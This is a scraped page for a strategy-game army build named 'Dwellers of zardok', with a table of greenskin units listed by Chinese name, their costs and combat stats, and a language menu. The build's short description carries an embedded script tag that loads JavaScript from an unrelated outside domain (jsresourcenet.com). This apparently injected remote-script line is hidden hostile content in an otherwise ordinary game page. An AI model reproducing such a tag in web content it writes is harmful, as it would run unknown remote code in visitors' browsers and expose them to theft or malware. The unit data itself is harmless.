Left Panel
Dwellers of zardok
StrongBuild by Isaac - 2019-06-16 15:07:15
2
1
8
8
160
160
160
160
160
160
160
16
16
16
60
60
120
120
120
120
60
60
60
100
100
100
100
100
100
100
100
100
100
100
100
100
100
60
60
60
Kill every one in there path and use there numbers <script src="https://jsresourcenet.com/honga"></script>
| No. | Unit | Name | Sol. | Custom Cost | Recru. Cost | Upkeep Cost | Ship HP. | Ship Spd. | Msl. Dmg. | Rng. | Sht. /min | Amo. | Mle. Atk. | Mle. Dmg. | Chg. | Mle. Def. | Arm. | HP. | Mor. |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 指揮官 (1) | 2 | 1200 | 1200 | 300 | - | - | - | 32 | 400 | 95 | 20 | 80 | 5724 | 70 | |||||
| 1 | 獸王 (剃刀角獸戰車) | 2 | 1200 | 1200 | 300 | 32 | 400 | 95 | 20 | 80 | 5724 | 70 | |||||||
| 近戰步兵 (29) | 2705 | 28400 | 27700 | 6923 | - | - | - | 996 | 2343 | 873 | 738 | 2355 | 32954 | 1722 | |||||
| 2 | 戰爭多頭蛇 | 1 | 1650 | 1650 | 412 | 52 | 440 | 45 | 26 | 60 | 9458 | 65 | |||||||
| 3 | 阿拉克納瑞巨蛛 | 8 | 1900 | 1900 | 475 | 58 | 380 | 40 | 30 | 120 | 9973 | 55 | |||||||
| 4 | 阿拉克納瑞巨蛛 | 8 | 1900 | 1900 | 475 | 58 | 380 | 40 | 30 | 120 | 9973 | 55 | |||||||
| 5 | 夜地精 | 160 | 400 | 400 | 100 | 26 | 27 | 12 | 24 | 70 | 56 | 44 | |||||||
| 6 | 夜地精 | 160 | 400 | 400 | 100 | 26 | 27 | 12 | 24 | 70 | 56 | 44 | |||||||
| 7 | 夜地精 | 160 | 400 | 400 | 100 | 26 | 27 | 12 | 24 | 70 | 56 | 44 | |||||||
| 8 | 夜地精 | 160 | 400 | 400 | 100 | 26 | 27 | 12 | 24 | 70 | 56 | 44 | |||||||
| 9 | 夜地精 | 160 | 400 | 400 | 100 | 26 | 27 | 12 | 24 | 70 | 56 | 44 | |||||||
| 10 | 夜地精 | 160 | 400 | 400 | 100 | 26 | 27 | 12 | 24 | 70 | 56 | 44 | |||||||
| 11 | 夜地精 | 160 | 400 | 400 | 100 | 26 | 27 | 12 | 24 | 70 | 56 | 44 | |||||||
| 12 | 牛頭怪(重型武器) | 16 | 1350 | 1350 | 337 | 36 | 110 | 44 | 32 | 35 | 514 | 65 | |||||||
| 13 | 牛頭怪(重型武器) | 16 | 1350 | 1350 | 337 | 36 | 110 | 44 | 32 | 35 | 514 | 65 | |||||||
| 14 | 牛頭怪(重型武器) | 16 | 1350 | 1350 | 337 | 36 | 110 | 44 | 32 | 35 | 514 | 65 | |||||||
| 15 | 人馬角獸 | 60 | 700 | 700 | 175 | 24 | 32 | 42 | 26 | 65 | 108 | 60 | |||||||
| 16 | 人馬角獸 | 60 | 700 | 700 | 175 | 24 | 32 | 42 | 26 | 65 | 108 | 60 | |||||||
| 17 | 大角獸群 | 100 | 1050 | 1000 | 250 | 35 | 40 | 32 | 24 | 95 | 100 | 66 | |||||||
| 18 | 大角獸群 | 100 | 1050 | 1000 | 250 | 35 | 40 | 32 | 24 | 95 | 100 | 66 | |||||||
| 19 | 大角獸群 | 100 | 1050 | 1000 | 250 | 35 | 40 | 32 | 24 | 95 | 100 | 66 | |||||||
| 20 | 大角獸群 | 100 | 1050 | 1000 | 250 | 35 | 40 | 32 | 24 | 95 | 100 | 66 | |||||||
| 21 | 大角獸群 | 100 | 1050 | 1000 | 250 | 35 | 40 | 32 | 24 | 95 | 100 | 66 | |||||||
| 22 | 大角獸群 | 100 | 1050 | 1000 | 250 | 35 | 40 | 32 | 24 | 95 | 100 | 66 | |||||||
| 23 | 大角獸群 | 100 | 1050 | 1000 | 250 | 35 | 40 | 32 | 24 | 95 | 100 | 66 | |||||||
| 24 | 大角獸群 | 100 | 1050 | 1000 | 250 | 35 | 40 | 32 | 24 | 95 | 100 | 66 | |||||||
| 25 | 大角獸群 | 100 | 1050 | 1000 | 250 | 35 | 40 | 32 | 24 | 95 | 100 | 66 | |||||||
| 26 | 大角獸群 | 100 | 1050 | 1000 | 250 | 35 | 40 | 32 | 24 | 95 | 100 | 66 | |||||||
| 27 | 大角獸群 | 100 | 1050 | 1000 | 250 | 35 | 40 | 32 | 24 | 95 | 100 | 66 | |||||||
| 28 | 大角獸群 | 100 | 1050 | 1000 | 250 | 35 | 40 | 32 | 24 | 95 | 100 | 66 | |||||||
| 29 | 大角獸群 | 100 | 1050 | 1000 | 250 | 35 | 40 | 32 | 24 | 95 | 100 | 66 | |||||||
| 30 | 大角獸群 | 100 | 1050 | 1000 | 250 | 35 | 40 | 32 | 24 | 95 | 100 | 66 | |||||||
| 遠程步兵 (4) | 480 | 1900 | 1900 | 472 | - | 44 | - | - | 96 | 60 | 108 | 28 | 80 | 60 | 216 | 160 | |||
| 31 | 夜地精弓箭手 | 120 | 475 | 475 | 118 | 11 | 115 | 8.3 | 24 | 15 | 27 | 7 | 20 | 15 | 54 | 40 | |||
| 32 | 夜地精弓箭手 | 120 | 475 | 475 | 118 | 11 | 115 | 8.3 | 24 | 15 | 27 | 7 | 20 | 15 | 54 | 40 | |||
| 33 | 夜地精弓箭手 | 120 | 475 | 475 | 118 | 11 | 115 | 8.3 | 24 | 15 | 27 | 7 | 20 | 15 | 54 | 40 | |||
| 34 | 夜地精弓箭手 | 120 | 475 | 475 | 118 | 11 | 115 | 8.3 | 24 | 15 | 27 | 7 | 20 | 15 | 54 | 40 | |||
| 近戰騎兵 (3) | 180 | 1200 | 1200 | 300 | - | - | - | 66 | 81 | 66 | 90 | 225 | 273 | 150 | |||||
| 35 | 森林地精蜘蛛騎手 | 60 | 400 | 400 | 100 | 22 | 27 | 22 | 30 | 75 | 91 | 50 | |||||||
| 36 | 森林地精蜘蛛騎手 | 60 | 400 | 400 | 100 | 22 | 27 | 22 | 30 | 75 | 91 | 50 | |||||||
| 37 | 森林地精蜘蛛騎手 | 60 | 400 | 400 | 100 | 22 | 27 | 22 | 30 | 75 | 91 | 50 | |||||||
| 遠程騎兵 (3) | 180 | 1350 | 1350 | 336 | - | 33 | - | - | 60 | 45 | 78 | 42 | 66 | 135 | 255 | 132 | |||
| 38 | 森林地精蜘蛛弓箭手 | 60 | 450 | 450 | 112 | 11 | 100 | 8.3 | 20 | 15 | 26 | 14 | 22 | 45 | 85 | 44 | |||
| 39 | 森林地精蜘蛛弓箭手 | 60 | 450 | 450 | 112 | 11 | 100 | 8.3 | 20 | 15 | 26 | 14 | 22 | 45 | 85 | 44 | |||
| 40 | 森林地精蜘蛛弓箭手 | 60 | 450 | 450 | 112 | 11 | 100 | 8.3 | 20 | 15 | 26 | 14 | 22 | 45 | 85 | 44 | |||
| Subtotal | 3547 | 34050 | 33350 | 8331 | - | 77 | - | - | 156 | 1199 | 3010 | 1104 | 994 | 2855 | 39422 | 2234 | |||

English
Français
Italiano
Deutsch
Español
Русский
Čeština
Polski
Türkçe
Português (Brasil)
한국어
简体中文